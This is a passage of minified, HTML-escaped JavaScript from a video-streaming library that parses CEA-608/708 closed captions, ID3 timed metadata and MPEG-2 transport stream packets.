within708TextBlock(b)&amp;&amp;(i=this.handleText(i,service,{isExtended:!0})),i},Cea708Stream.prototype.getPts=function(byteIndex){return this.current708Packet.ptsVals[Math.floor(byteIndex/2)]},Cea708Stream.prototype.initService=function(serviceNum,i){var serviceName,encoding,self=this;return(serviceName=&quot;SERVICE&quot;+serviceNum)in this.serviceEncodings&amp;&amp;(encoding=this.serviceEncodings[serviceName]),this.services[serviceNum]=new Cea708Service(serviceNum,encoding,self),this.services[serviceNum].init(this.getPts(i),(function(pts){self.flushDisplayed(pts,self.services[serviceNum])})),this.services[serviceNum]},Cea708Stream.prototype.handleText=function(i,service,options){var _char,charCodeArray,code,newCode,isExtended=options&amp;&amp;options.isExtended,isMultiByte=options&amp;&amp;options.isMultiByte,packetData=this.current708Packet.data,extended=isExtended?4096:0,currentByte=packetData[i],nextByte=packetData[i+1],win=service.currentWindow;return service.textDecoder_&amp;&amp;!isExtended?(isMultiByte?(charCodeArray=[currentByte,nextByte],i++):charCodeArray=[currentByte],_char=service.textDecoder_.decode(new Uint8Array(charCodeArray))):(newCode=CHARACTER_TRANSLATION_708[code=extended|currentByte]||code,_char=4096&amp;code&amp;&amp;code===newCode?&quot;&quot;:String.fromCharCode(newCode)),win.pendingNewLine&amp;&amp;!win.isEmpty()&amp;&amp;win.newLine(this.getPts(i)),win.pendingNewLine=!1,win.addText(_char),i},Cea708Stream.prototype.multiByteCharacter=function(i,service){var packetData=this.current708Packet.data,firstByte=packetData[i+1],secondByte=packetData[i+2];return within708TextBlock(firstByte)&amp;&amp;within708TextBlock(secondByte)&amp;&amp;(i=this.handleText(++i,service,{isMultiByte:!0})),i},Cea708Stream.prototype.setCurrentWindow=function(i,service){var windowNum=7&amp;this.current708Packet.data[i];return service.setCurrentWindow(windowNum),i},Cea708Stream.prototype.defineWindow=function(i,service){var packetData=this.current708Packet.data,b=packetData[i],windowNum=7&amp;b;service.setCurrentWindow(windowNum);var win=service.currentWindow;return b=packetData[++i],win.visible=(32&amp;b)&gt;&gt;5,win.rowLock=(16&amp;b)&gt;&gt;4,win.columnLock=(8&amp;b)&gt;&gt;3,win.priority=7&amp;b,b=packetData[++i],win.relativePositioning=(128&amp;b)&gt;&gt;7,win.anchorVertical=127&amp;b,b=packetData[++i],win.anchorHorizontal=b,b=packetData[++i],win.anchorPoint=(240&amp;b)&gt;&gt;4,win.rowCount=15&amp;b,b=packetData[++i],win.columnCount=63&amp;b,b=packetData[++i],win.windowStyle=(56&amp;b)&gt;&gt;3,win.penStyle=7&amp;b,win.virtualRowCount=win.rowCount+1,i},Cea708Stream.prototype.setWindowAttributes=function(i,service){var packetData=this.current708Packet.data,b=packetData[i],winAttr=service.currentWindow.winAttr;return b=packetData[++i],winAttr.fillOpacity=(192&amp;b)&gt;&gt;6,winAttr.fillRed=(48&amp;b)&gt;&gt;4,winAttr.fillGreen=(12&amp;b)&gt;&gt;2,winAttr.fillBlue=3&amp;b,b=packetData[++i],winAttr.borderType=(192&amp;b)&gt;&gt;6,winAttr.borderRed=(48&amp;b)&gt;&gt;4,winAttr.borderGreen=(12&amp;b)&gt;&gt;2,winAttr.borderBlue=3&amp;b,b=packetData[++i],winAttr.borderType+=(128&amp;b)&gt;&gt;5,winAttr.wordWrap=(64&amp;b)&gt;&gt;6,winAttr.printDirection=(48&amp;b)&gt;&gt;4,winAttr.scrollDirection=(12&amp;b)&gt;&gt;2,winAttr.justify=3&amp;b,b=packetData[++i],winAttr.effectSpeed=(240&amp;b)&gt;&gt;4,winAttr.effectDirection=(12&amp;b)&gt;&gt;2,winAttr.displayEffect=3&amp;b,i},Cea708Stream.prototype.flushDisplayed=function(pts,service){for(var displayedText=[],winId=0;winId&lt;8;winId++)service.windows[winId].visible&amp;&amp;!service.windows[winId].isEmpty()&amp;&amp;displayedText.push(service.windows[winId].getText());service.endPts=pts,service.text=displayedText.join(&quot;\n\n&quot;),this.pushCaption(service),service.startPts=pts},Cea708Stream.prototype.pushCaption=function(service){&quot;&quot;!==service.text&amp;&amp;(this.trigger(&quot;data&quot;,{startPts:service.startPts,endPts:service.endPts,text:service.text,stream:&quot;cc708_&quot;+service.serviceNum}),service.text=&quot;&quot;,service.startPts=service.endPts)},Cea708Stream.prototype.displayWindows=function(i,service){var b=this.current708Packet.data[++i],pts=this.getPts(i);this.flushDisplayed(pts,service);for(var winId=0;winId&lt;8;winId++)b&amp;1&lt;&lt;winId&amp;&amp;(service.windows[winId].visible=1);return i},Cea708Stream.prototype.hideWindows=function(i,service){var b=this.current708Packet.data[++i],pts=this.getPts(i);this.flushDisplayed(pts,service);for(var winId=0;winId&lt;8;winId++)b&amp;1&lt;&lt;winId&amp;&amp;(service.windows[winId].visible=0);return i},Cea708Stream.prototype.toggleWindows=function(i,service){var b=this.current708Packet.data[++i],pts=this.getPts(i);this.flushDisplayed(pts,service);for(var winId=0;winId&lt;8;winId++)b&amp;1&lt;&lt;winId&amp;&amp;(service.windows[winId].visible^=1);return i},Cea708Stream.prototype.clearWindows=function(i,service){var b=this.current708Packet.data[++i],pts=this.getPts(i);this.flushDisplayed(pts,service);for(var winId=0;winId&lt;8;winId++)b&amp;1&lt;&lt;winId&amp;&amp;service.windows[winId].clearText();return i},Cea708Stream.prototype.deleteWindows=function(i,service){var b=this.current708Packet.data[++i],pts=this.getPts(i);this.flushDisplayed(pts,service);for(var winId=0;winId&lt;8;winId++)b&amp;1&lt;&lt;winId&amp;&amp;service.windows[winId].reset();return i},Cea708Stream.prototype.setPenAttributes=function(i,service){var packetData=this.current708Packet.data,b=packetData[i],penAttr=service.currentWindow.penAttr;return b=packetData[++i],penAttr.textTag=(240&amp;b)&gt;&gt;4,penAttr.offset=(12&amp;b)&gt;&gt;2,penAttr.penSize=3&amp;b,b=packetData[++i],penAttr.italics=(128&amp;b)&gt;&gt;7,penAttr.underline=(64&amp;b)&gt;&gt;6,penAttr.edgeType=(56&amp;b)&gt;&gt;3,penAttr.fontStyle=7&amp;b,i},Cea708Stream.prototype.setPenColor=function(i,service){var packetData=this.current708Packet.data,b=packetData[i],penColor=service.currentWindow.penColor;return b=packetData[++i],penColor.fgOpacity=(192&amp;b)&gt;&gt;6,penColor.fgRed=(48&amp;b)&gt;&gt;4,penColor.fgGreen=(12&amp;b)&gt;&gt;2,penColor.fgBlue=3&amp;b,b=packetData[++i],penColor.bgOpacity=(192&amp;b)&gt;&gt;6,penColor.bgRed=(48&amp;b)&gt;&gt;4,penColor.bgGreen=(12&amp;b)&gt;&gt;2,penColor.bgBlue=3&amp;b,b=packetData[++i],penColor.edgeRed=(48&amp;b)&gt;&gt;4,penColor.edgeGreen=(12&amp;b)&gt;&gt;2,penColor.edgeBlue=3&amp;b,i},Cea708Stream.prototype.setPenLocation=function(i,service){var packetData=this.current708Packet.data,b=packetData[i],penLoc=service.currentWindow.penLoc;return service.currentWindow.pendingNewLine=!0,b=packetData[++i],penLoc.row=15&amp;b,b=packetData[++i],penLoc.column=63&amp;b,i},Cea708Stream.prototype.reset=function(i,service){var pts=this.getPts(i);return this.flushDisplayed(pts,service),this.initService(service.serviceNum,i)};var CHARACTER_TRANSLATION={42:225,92:233,94:237,95:243,96:250,123:231,124:247,125:209,126:241,127:9608,304:174,305:176,306:189,307:191,308:8482,309:162,310:163,311:9834,312:224,313:160,314:232,315:226,316:234,317:238,318:244,319:251,544:193,545:201,546:211,547:218,548:220,549:252,550:8216,551:161,552:42,553:39,554:8212,555:169,556:8480,557:8226,558:8220,559:8221,560:192,561:194,562:199,563:200,564:202,565:203,566:235,567:206,568:207,569:239,570:212,571:217,572:249,573:219,574:171,575:187,800:195,801:227,802:205,803:204,804:236,805:210,806:242,807:213,808:245,809:123,810:125,811:92,812:94,813:95,814:124,815:126,816:196,817:228,818:214,819:246,820:223,821:165,822:164,823:9474,824:197,825:229,826:216,827:248,828:9484,829:9488,830:9492,831:9496},getCharFromCode=function(code){return null===code?&quot;&quot;:(code=CHARACTER_TRANSLATION[code]||code,String.fromCharCode(code))},ROWS=[4352,4384,4608,4640,5376,5408,5632,5664,5888,5920,4096,4864,4896,5120,5152],createDisplayBuffer=function(){for(var result=[],i=15;i--;)result.push(&quot;&quot;);return result},Cea608Stream=function Cea608Stream(field,dataChannel){Cea608Stream.prototype.init.call(this),this.field_=field||0,this.dataChannel_=dataChannel||0,this.name_=&quot;CC&quot;+(1+(this.field_&lt;&lt;1|this.dataChannel_)),this.setConstants(),this.reset(),this.push=function(packet){var data,swap,char0,char1,text;if((data=32639&amp;packet.ccData)!==this.lastControlCode_){if(4096==(61440&amp;data)?this.lastControlCode_=data:data!==this.PADDING_&amp;&amp;(this.lastControlCode_=null),char0=data&gt;&gt;&gt;8,char1=255&amp;data,data!==this.PADDING_)if(data===this.RESUME_CAPTION_LOADING_)this.mode_=&quot;popOn&quot;;else if(data===this.END_OF_CAPTION_)this.mode_=&quot;popOn&quot;,this.clearFormatting(packet.pts),this.flushDisplayed(packet.pts),swap=this.displayed_,this.displayed_=this.nonDisplayed_,this.nonDisplayed_=swap,this.startPts_=packet.pts;else if(data===this.ROLL_UP_2_ROWS_)this.rollUpRows_=2,this.setRollUp(packet.pts);else if(data===this.ROLL_UP_3_ROWS_)this.rollUpRows_=3,this.setRollUp(packet.pts);else if(data===this.ROLL_UP_4_ROWS_)this.rollUpRows_=4,this.setRollUp(packet.pts);else if(data===this.CARRIAGE_RETURN_)this.clearFormatting(packet.pts),this.flushDisplayed(packet.pts),this.shiftRowsUp_(),this.startPts_=packet.pts;else if(data===this.BACKSPACE_)&quot;popOn&quot;===this.mode_?this.nonDisplayed_[this.row_]=this.nonDisplayed_[this.row_].slice(0,-1):this.displayed_[this.row_]=this.displayed_[this.row_].slice(0,-1);else if(data===this.ERASE_DISPLAYED_MEMORY_)this.flushDisplayed(packet.pts),this.displayed_=createDisplayBuffer();else if(data===this.ERASE_NON_DISPLAYED_MEMORY_)this.nonDisplayed_=createDisplayBuffer();else if(data===this.RESUME_DIRECT_CAPTIONING_)&quot;paintOn&quot;!==this.mode_&amp;&amp;(this.flushDisplayed(packet.pts),this.displayed_=createDisplayBuffer()),this.mode_=&quot;paintOn&quot;,this.startPts_=packet.pts;else if(this.isSpecialCharacter(char0,char1))text=getCharFromCode((char0=(3&amp;char0)&lt;&lt;8)|char1),this[this.mode_](packet.pts,text),this.column_++;else if(this.isExtCharacter(char0,char1))&quot;popOn&quot;===this.mode_?this.nonDisplayed_[this.row_]=this.nonDisplayed_[this.row_].slice(0,-1):this.displayed_[this.row_]=this.displayed_[this.row_].slice(0,-1),text=getCharFromCode((char0=(3&amp;char0)&lt;&lt;8)|char1),this[this.mode_](packet.pts,text),this.column_++;else if(this.isMidRowCode(char0,char1))this.clearFormatting(packet.pts),this[this.mode_](packet.pts,&quot; &quot;),this.column_++,14==(14&amp;char1)&amp;&amp;this.addFormatting(packet.pts,[&quot;i&quot;]),1==(1&amp;char1)&amp;&amp;this.addFormatting(packet.pts,[&quot;u&quot;]);else if(this.isOffsetControlCode(char0,char1))this.column_+=3&amp;char1;else if(this.isPAC(char0,char1)){var row=ROWS.indexOf(7968&amp;data);&quot;rollUp&quot;===this.mode_&amp;&amp;(row-this.rollUpRows_+1&lt;0&amp;&amp;(row=this.rollUpRows_-1),this.setRollUp(packet.pts,row)),row!==this.row_&amp;&amp;(this.clearFormatting(packet.pts),this.row_=row),1&amp;char1&amp;&amp;-1===this.formatting_.indexOf(&quot;u&quot;)&amp;&amp;this.addFormatting(packet.pts,[&quot;u&quot;]),16==(16&amp;data)&amp;&amp;(this.column_=4*((14&amp;data)&gt;&gt;1)),this.isColorPAC(char1)&amp;&amp;14==(14&amp;char1)&amp;&amp;this.addFormatting(packet.pts,[&quot;i&quot;])}else this.isNormalChar(char0)&amp;&amp;(0===char1&amp;&amp;(char1=null),text=getCharFromCode(char0),text+=getCharFromCode(char1),this[this.mode_](packet.pts,text),this.column_+=text.length)}else this.lastControlCode_=null}};Cea608Stream.prototype=new stream,Cea608Stream.prototype.flushDisplayed=function(pts){var content=this.displayed_.map((function(row,index){try{return row.trim()}catch(e){return this.trigger(&quot;log&quot;,{level:&quot;warn&quot;,message:&quot;Skipping a malformed 608 caption at index &quot;+index+&quot;.&quot;}),&quot;&quot;}}),this).join(&quot;\n&quot;).replace(/^\n+|\n+$/g,&quot;&quot;);content.length&amp;&amp;this.trigger(&quot;data&quot;,{startPts:this.startPts_,endPts:pts,text:content,stream:this.name_})},Cea608Stream.prototype.reset=function(){this.mode_=&quot;popOn&quot;,this.topRow_=0,this.startPts_=0,this.displayed_=createDisplayBuffer(),this.nonDisplayed_=createDisplayBuffer(),this.lastControlCode_=null,this.column_=0,this.row_=14,this.rollUpRows_=2,this.formatting_=[]},Cea608Stream.prototype.setConstants=function(){0===this.dataChannel_?(this.BASE_=16,this.EXT_=17,this.CONTROL_=(20|this.field_)&lt;&lt;8,this.OFFSET_=23):1===this.dataChannel_&amp;&amp;(this.BASE_=24,this.EXT_=25,this.CONTROL_=(28|this.field_)&lt;&lt;8,this.OFFSET_=31),this.PADDING_=0,this.RESUME_CAPTION_LOADING_=32|this.CONTROL_,this.END_OF_CAPTION_=47|this.CONTROL_,this.ROLL_UP_2_ROWS_=37|this.CONTROL_,this.ROLL_UP_3_ROWS_=38|this.CONTROL_,this.ROLL_UP_4_ROWS_=39|this.CONTROL_,this.CARRIAGE_RETURN_=45|this.CONTROL_,this.RESUME_DIRECT_CAPTIONING_=41|this.CONTROL_,this.BACKSPACE_=33|this.CONTROL_,this.ERASE_DISPLAYED_MEMORY_=44|this.CONTROL_,this.ERASE_NON_DISPLAYED_MEMORY_=46|this.CONTROL_},Cea608Stream.prototype.isSpecialCharacter=function(char0,char1){return char0===this.EXT_&amp;&amp;char1&gt;=48&amp;&amp;char1&lt;=63},Cea608Stream.prototype.isExtCharacter=function(char0,char1){return(char0===this.EXT_+1||char0===this.EXT_+2)&amp;&amp;char1&gt;=32&amp;&amp;char1&lt;=63},Cea608Stream.prototype.isMidRowCode=function(char0,char1){return char0===this.EXT_&amp;&amp;char1&gt;=32&amp;&amp;char1&lt;=47},Cea608Stream.prototype.isOffsetControlCode=function(char0,char1){return char0===this.OFFSET_&amp;&amp;char1&gt;=33&amp;&amp;char1&lt;=35},Cea608Stream.prototype.isPAC=function(char0,char1){return char0&gt;=this.BASE_&amp;&amp;char0&lt;this.BASE_+8&amp;&amp;char1&gt;=64&amp;&amp;char1&lt;=127},Cea608Stream.prototype.isColorPAC=function(char1){return char1&gt;=64&amp;&amp;char1&lt;=79||char1&gt;=96&amp;&amp;char1&lt;=127},Cea608Stream.prototype.isNormalChar=function(_char2){return _char2&gt;=32&amp;&amp;_char2&lt;=127},Cea608Stream.prototype.setRollUp=function(pts,newBaseRow){if(&quot;rollUp&quot;!==this.mode_&amp;&amp;(this.row_=14,this.mode_=&quot;rollUp&quot;,this.flushDisplayed(pts),this.nonDisplayed_=createDisplayBuffer(),this.displayed_=createDisplayBuffer()),void 0!==newBaseRow&amp;&amp;newBaseRow!==this.row_)for(var i=0;i&lt;this.rollUpRows_;i++)this.displayed_[newBaseRow-i]=this.displayed_[this.row_-i],this.displayed_[this.row_-i]=&quot;&quot;;void 0===newBaseRow&amp;&amp;(newBaseRow=this.row_),this.topRow_=newBaseRow-this.rollUpRows_+1},Cea608Stream.prototype.addFormatting=function(pts,format){this.formatting_=this.formatting_.concat(format);var text=format.reduce((function(text,format){return text+&quot;&lt;&quot;+format+&quot;&gt;&quot;}),&quot;&quot;);this[this.mode_](pts,text)},Cea608Stream.prototype.clearFormatting=function(pts){if(this.formatting_.length){var text=this.formatting_.reverse().reduce((function(text,format){return text+&quot;&lt;/&quot;+format+&quot;&gt;&quot;}),&quot;&quot;);this.formatting_=[],this[this.mode_](pts,text)}},Cea608Stream.prototype.popOn=function(pts,text){var baseRow=this.nonDisplayed_[this.row_];baseRow+=text,this.nonDisplayed_[this.row_]=baseRow},Cea608Stream.prototype.rollUp=function(pts,text){var baseRow=this.displayed_[this.row_];baseRow+=text,this.displayed_[this.row_]=baseRow},Cea608Stream.prototype.shiftRowsUp_=function(){var i;for(i=0;i&lt;this.topRow_;i++)this.displayed_[i]=&quot;&quot;;for(i=this.row_+1;i&lt;15;i++)this.displayed_[i]=&quot;&quot;;for(i=this.topRow_;i&lt;this.row_;i++)this.displayed_[i]=this.displayed_[i+1];this.displayed_[this.row_]=&quot;&quot;},Cea608Stream.prototype.paintOn=function(pts,text){var baseRow=this.displayed_[this.row_];baseRow+=text,this.displayed_[this.row_]=baseRow};var captionStream={CaptionStream:CaptionStream$1,Cea608Stream:Cea608Stream,Cea708Stream:Cea708Stream},streamTypes={H264_STREAM_TYPE:27,ADTS_STREAM_TYPE:15,METADATA_STREAM_TYPE:21},handleRollover$1=function(value,reference){var direction=1;for(value&gt;reference&amp;&amp;(direction=-1);Math.abs(reference-value)&gt;4294967296;)value+=8589934592*direction;return value},TimestampRolloverStream$1=function TimestampRolloverStream(type){var lastDTS,referenceDTS;TimestampRolloverStream.prototype.init.call(this),this.type_=type||&quot;shared&quot;,this.push=function(data){&quot;shared&quot;!==this.type_&amp;&amp;data.type!==this.type_||(void 0===referenceDTS&amp;&amp;(referenceDTS=data.dts),data.dts=handleRollover$1(data.dts,referenceDTS),data.pts=handleRollover$1(data.pts,referenceDTS),lastDTS=data.dts,this.trigger(&quot;data&quot;,data))},this.flush=function(){referenceDTS=lastDTS,this.trigger(&quot;done&quot;)},this.endTimeline=function(){this.flush(),this.trigger(&quot;endedtimeline&quot;)},this.discontinuity=function(){referenceDTS=void 0,lastDTS=void 0},this.reset=function(){this.discontinuity(),this.trigger(&quot;reset&quot;)}};TimestampRolloverStream$1.prototype=new stream;var _MetadataStream,timestampRolloverStream_TimestampRolloverStream=TimestampRolloverStream$1,timestampRolloverStream_handleRollover=handleRollover$1,percentEncode$1=function(bytes,start,end){var i,result=&quot;&quot;;for(i=start;i&lt;end;i++)result+=&quot;%&quot;+(&quot;00&quot;+bytes[i].toString(16)).slice(-2);return result},parseUtf8=function(bytes,start,end){return decodeURIComponent(percentEncode$1(bytes,start,end))},parseSyncSafeInteger$1=function(data){return data[0]&lt;&lt;21|data[1]&lt;&lt;14|data[2]&lt;&lt;7|data[3]},tagParsers={TXXX:function(tag){var i;if(3===tag.data[0]){for(i=1;i&lt;tag.data.length;i++)if(0===tag.data[i]){tag.description=parseUtf8(tag.data,1,i),tag.value=parseUtf8(tag.data,i+1,tag.data.length).replace(/\0*$/,&quot;&quot;);break}tag.data=tag.value}},WXXX:function(tag){var i;if(3===tag.data[0])for(i=1;i&lt;tag.data.length;i++)if(0===tag.data[i]){tag.description=parseUtf8(tag.data,1,i),tag.url=parseUtf8(tag.data,i+1,tag.data.length);break}},PRIV:function(tag){var i,bytes;for(i=0;i&lt;tag.data.length;i++)if(0===tag.data[i]){tag.owner=(bytes=tag.data,unescape(percentEncode$1(bytes,0,i)));break}tag.privateData=tag.data.subarray(i+1),tag.data=tag.privateData}};_MetadataStream=function(options){var i,settings={descriptor:options&amp;&amp;options.descriptor},tagSize=0,buffer=[],bufferSize=0;if(_MetadataStream.prototype.init.call(this),this.dispatchType=streamTypes.METADATA_STREAM_TYPE.toString(16),settings.descriptor)for(i=0;i&lt;settings.descriptor.length;i++)this.dispatchType+=(&quot;00&quot;+settings.descriptor[i].toString(16)).slice(-2);this.push=function(chunk){var tag,frameStart,frameSize,frame,i;if(&quot;timed-metadata&quot;===chunk.type)if(chunk.dataAlignmentIndicator&amp;&amp;(bufferSize=0,buffer.length=0),0===buffer.length&amp;&amp;(chunk.data.length&lt;10||chunk.data[0]!==&quot;I&quot;.charCodeAt(0)||chunk.data[1]!==&quot;D&quot;.charCodeAt(0)||chunk.data[2]!==&quot;3&quot;.charCodeAt(0)))this.trigger(&quot;log&quot;,{level:&quot;warn&quot;,message:&quot;Skipping unrecognized metadata packet&quot;});else if(buffer.push(chunk),bufferSize+=chunk.data.byteLength,1===buffer.length&amp;&amp;(tagSize=parseSyncSafeInteger$1(chunk.data.subarray(6,10)),tagSize+=10),!(bufferSize&lt;tagSize)){for(tag={data:new Uint8Array(tagSize),frames:[],pts:buffer[0].pts,dts:buffer[0].dts},i=0;i&lt;tagSize;)tag.data.set(buffer[0].data.subarray(0,tagSize-i),i),i+=buffer[0].data.byteLength,bufferSize-=buffer[0].data.byteLength,buffer.shift();frameStart=10,64&amp;tag.data[5]&amp;&amp;(frameStart+=4,frameStart+=parseSyncSafeInteger$1(tag.data.subarray(10,14)),tagSize-=parseSyncSafeInteger$1(tag.data.subarray(16,20)));do{if((frameSize=parseSyncSafeInteger$1(tag.data.subarray(frameStart+4,frameStart+8)))&lt;1)return void this.trigger(&quot;log&quot;,{level:&quot;warn&quot;,message:&quot;Malformed ID3 frame encountered. Skipping metadata parsing.&quot;});if((frame={id:String.fromCharCode(tag.data[frameStart],tag.data[frameStart+1],tag.data[frameStart+2],tag.data[frameStart+3]),data:tag.data.subarray(frameStart+10,frameStart+frameSize+10)}).key=frame.id,tagParsers[frame.id]&amp;&amp;(tagParsers[frame.id](frame),&quot;com.apple.streaming.transportStreamTimestamp&quot;===frame.owner)){var d=frame.data,size=(1&amp;d[3])&lt;&lt;30|d[4]&lt;&lt;22|d[5]&lt;&lt;14|d[6]&lt;&lt;6|d[7]&gt;&gt;&gt;2;size*=4,size+=3&amp;d[7],frame.timeStamp=size,void 0===tag.pts&amp;&amp;void 0===tag.dts&amp;&amp;(tag.pts=frame.timeStamp,tag.dts=frame.timeStamp),this.trigger(&quot;timestamp&quot;,frame)}tag.frames.push(frame),frameStart+=10,frameStart+=frameSize}while(frameStart&lt;tagSize);this.trigger(&quot;data&quot;,tag)}}},_MetadataStream.prototype=new stream;var _TransportPacketStream,_TransportParseStream,_ElementaryStream,metadataStream=_MetadataStream,TimestampRolloverStream=timestampRolloverStream_TimestampRolloverStream;(_TransportPacketStream=function(){var buffer=new Uint8Array(188),bytesInBuffer=0;_TransportPacketStream.prototype.init.call(this),this.push=function(bytes){var everything,startIndex=0,endIndex=188;for(bytesInBuffer?((everything=new Uint8Array(bytes.byteLength+bytesInBuffer)).set(buffer.subarray(0,bytesInBuffer)),everything.set(bytes,bytesInBuffer),bytesInBuffer=0):everything=bytes;endIndex&lt;everything.byteLength;)71!==everything[startIndex]||71!==everything[endIndex]?(startIndex++,endIndex++):(this.trigger(&quot;data&quot;,everything.subarray(startIndex,endIndex)),startIndex+=188,endIndex+=188);startIndex&lt;everything.byteLength&amp;&amp;(buffer.set(everything.subarray(startIndex),0),bytesInBuffer=everything.byteLength-startIndex)},this.flush=function(){188===bytesInBuffer&amp;&amp;71===buffer[0]&amp;&amp;(this.trigger(&quot;data&quot;,buffer),bytesInBuffer=0),this.trigger(&quot;done&quot;)},this.endTimeline=function(){this.flush(),this.trigger(&quot;endedtimeline&quot;)},this.reset=function(){bytesInBuffer=0,this.trigger(&quot;reset&quot;)}}).prototype=new stream,_TransportParseStream=function(){var parsePsi,parsePat,parsePmt,self;_TransportParseStream.prototype.init.call(this),self=this,this.packetsWaitingForPmt=[],this.programMapTable=void 0,parsePsi=function(payload,psi){var offset=0;psi.payloadUnitStartIndicator&amp;&amp;(offset+=payload[offset]+1),&quot;pat&quot;===psi.type?parsePat(payload.subarray(offset),psi):parsePmt(payload.subarray(offset),psi)},parsePat=function(payload,pat){pat.section_number=payload[7],pat.last_section_number=payload[8],self.pmtPid=(31&amp;payload[10])&lt;&lt;8|payload[11],pat.pmtPid=self.pmtPid},parsePmt=function(payload,pmt){var tableEnd,offset;if(1&amp;payload[5]){for(self.programMapTable={video:null,audio:null,&quot;timed-metadata&quot;:{}},tableEnd=3+((15&amp;payload[1])&lt;&lt;8|payload[2])-4,offset=12+((15&amp;payload[10])&lt;&lt;8|payload[11]);offset&lt;tableEnd;){var streamType=payload[offset],pid=(31&amp;payload[offset+1])&lt;&lt;8|payload[offset+2];streamType===streamTypes.H264_STREAM_TYPE&amp;&amp;null===self.programMapTable.video?self.programMapTable.video=pid:streamType===streamTypes.ADTS_STREAM_TYPE&amp;&amp;null===self.programMapTable.audio?self.programMapTable.audio=pid:streamType===streamTypes.METADATA_STREAM_TYPE&amp;&amp;(self.programMapTable[&quot;timed-metadata&quot;][pid]=streamType),offset+=5+((15&amp;payload[offset+3])&lt;&lt;8|payload[offset+4])}pmt.programMapTable=self.programMapTable}},this.push=function(packet){var result={},offset=4;if(result.payloadUnitStartIndicator=!!(64&amp;packet[1]),result.pid=31&amp;packet[1],result.pid&lt;&lt;=8,result.pid|=packet[2],(48&amp;packet[3])&gt;&gt;&gt;4&gt;1&amp;&amp;(offset+=packet[offset]+1),0===result.pid)result.type=&quot;pat&quot;,parsePsi(packet.subarray(offset),result),this.trigger(&quot;data&quot;,result);else if(result.pid===this.pmtPid)for(result.type=&quot;pmt&quot;,parsePsi(packet.subarray(offset),result),this.trigger(&quot;data&quot;,result);this.packetsWaitingForPmt.length;)this.processPes_.apply(this,this.packetsWaitingForPmt.shift());else void 0===this.programMapTable?this.packetsWaitingForPmt.push([packet,offset,result]):this.processPes_(packet,offset,result)},this.processPes_=function(packet,offset,result){result.pid===this.programMapTable.video?result.streamType=streamTypes.H264_STREAM_TYPE:result.pid===this.programMapTable.audio?result.streamType=streamTypes.ADTS_STREAM_TYPE:result.streamType=this.programMapTable[&quot;timed-metadata&quot;][result.pid],result.type=&quot;pes&quot;,result.data=packet.subarray(offset),this.trigger(&quot;data&quot;,result)}},_TransportParseStream.prototype=new stream,_TransportParseStream.STREAM_TYPES={h264:27,adts:15},_ElementaryStream=function(){var programMapTable,self=this,segmentHadPmt=!1,video={data:[],size:0},audio={data:[],size:0},timedMetadata={data:[],size:0},flushStream=function(stream,type,forceFlush){var packetFlushable,fragment,packetData=new Uint8Array(stream.size),event={type:type},i=0,offset=0;if(stream.data.length&amp;&amp;!(stream.size&lt;9)){for(event.trackId=stream.data[0].pid,i=0;i&lt;stream.data.length;i++)fragment=stream.data[i],packetData.set(fragment.data,offset),offset+=fragment.data.byteLength;var payload,pes,ptsDtsFlags,startPrefix;pes=event,startPrefix=(payload=packetData)[0]&lt;&lt;16|payload[1]&lt;&lt;8|payload[2],pes.data=new Uint8Array,1===startPrefix&amp;&amp;(pes.packetLength=6+(payload[4]&lt;&lt;8|payload[5]),pes.dataAlignmentIndicator=0!=(4&amp;payload[6]),192&amp;(ptsDtsFlags=payload[7])&amp;&amp;(pes.pts=(14&amp;payload[9])&lt;&lt;27|(255&amp;payload[10])&lt;&lt;20|(254&amp;payload[11])&lt;&lt;12|(255&amp;payload[12])&lt;&lt;5|(254&amp;payload[13])&gt;&gt;&gt;3,pes.pts*=4,pes.pts+=(6&amp;payload[13])&gt;&gt;&gt;1,pes.dts=pes.pts,64&amp;ptsDtsFlags&amp;&amp;(pes.dts=(14&amp;payload[14])&lt;&lt;27|(255&amp;payload[15])&lt;&lt;20|(254&amp;payload[16])&lt;&lt;12|(255&amp;payload[17])&lt;&lt;5|(254&amp;payload[18])&gt;&gt;&gt;3,pes.dts*=4,pes.dts+=(6&amp;payload[18])&gt;&gt;&gt;1)),pes.data=payload.subarray(9+payload[8])),packetFlushable=&quot;video&quot;===type||event.packetLength&lt;=stream.size,(forceFlush||packetFlushable)&amp;&amp;(stream.size=0,stream.data.length=0),packetFlushable&amp;&amp;self.trigger(&quot;data&quot;,event)}};_ElementaryStream.prototype.init.call(this),this.push=function(data){({pat:function(){},pes:function(){var stream,streamType;switch(data.streamType){case streamTypes.H264_STREAM_TYPE:stream=video,streamType=&quot;video&quot;;break;case streamTypes.ADTS_STREAM_TYPE:stream=audio,streamType=&quot;audio&quot;;break;case streamTypes.METADATA_STREAM_TYPE:stream=timedMetadata,streamType=&quot;timed-metadata&quot;;break;default:return}data.payloadUnitStartIndicator&amp;&amp;flushStream(stream,streamType,!0),stream.data.push(data),stream.size+=data.data.byteLength},pmt:function(){var event={type:&quot;metadata&quot;,tracks:[]};null!==(programMapTable=data.programMapTable).video&amp;&amp;event.tracks.push({timelineStartInfo:{baseMediaDecodeTime:0},id:+programMapTable.video,codec:&quot;avc&quot;,type:&quot;video&quot;}),null!==programMapTable.audio&amp;&amp;event.tracks.push({timelineStartInfo:{baseMediaDecodeTime:0},id:+programMapTable.audio,codec:&quot;adts&quot;,type:&quot;audio&quot;}),segmentHadPmt=!0,self.trigger(&quot;data&quot;,event)}})[data.type]()},this.reset=function(){video.size=0,video.data.length=0,audio.size=0,audio.data.length=0,this.trigger(&quot;reset&quot;)},this.flushStreams_=function(){flushStream(video,&quot;video&quot;),flushStream(audio,&quot;audio&quot;),flushStream(timedMetadata,&quot;timed-metadata&quot;)},this.flush=function(){if(!segmentHadPmt&amp;&amp;programMapTable){var pmt={type:&quot;metadata&quot;,tracks:[]};null!==programMapTable.video&amp;&amp;pmt.tracks.push({timelineStartInfo:{baseMediaDecodeTime:0},id:+programMapTable.video,codec:&quot;avc&quot;,type:&quot;video&quot;}),null!==programMapTable.audio&amp;&amp;pmt.tracks.push({timelineStartInfo:{baseMediaDecodeTime:0},id:+programMapTable.audio,codec:&quot;adts&quot;,type:&quot;audio&quot;}),self.trigger(&quot;data&quot;,pmt)}segmentHadPmt=!1,this.flushStreams_(),this.trigger(&quot;done&quot;)}},_ElementaryStream.prototype=new stream;var m2ts={PAT_PID:0,MP2T_PACKET_LENGTH:188,TransportPacketStream:_TransportPacketStream,TransportParseStream:_TransportParseStream,ElementaryStream:_ElementaryStream,TimestampRolloverStream:TimestampRolloverStream,CaptionStream:captionStream.CaptionStream,Cea608Stream:captionStream.Cea608Stream,Cea708Stream:captionStream.Cea708Stream,MetadataStream:metadataStream};for(var type in 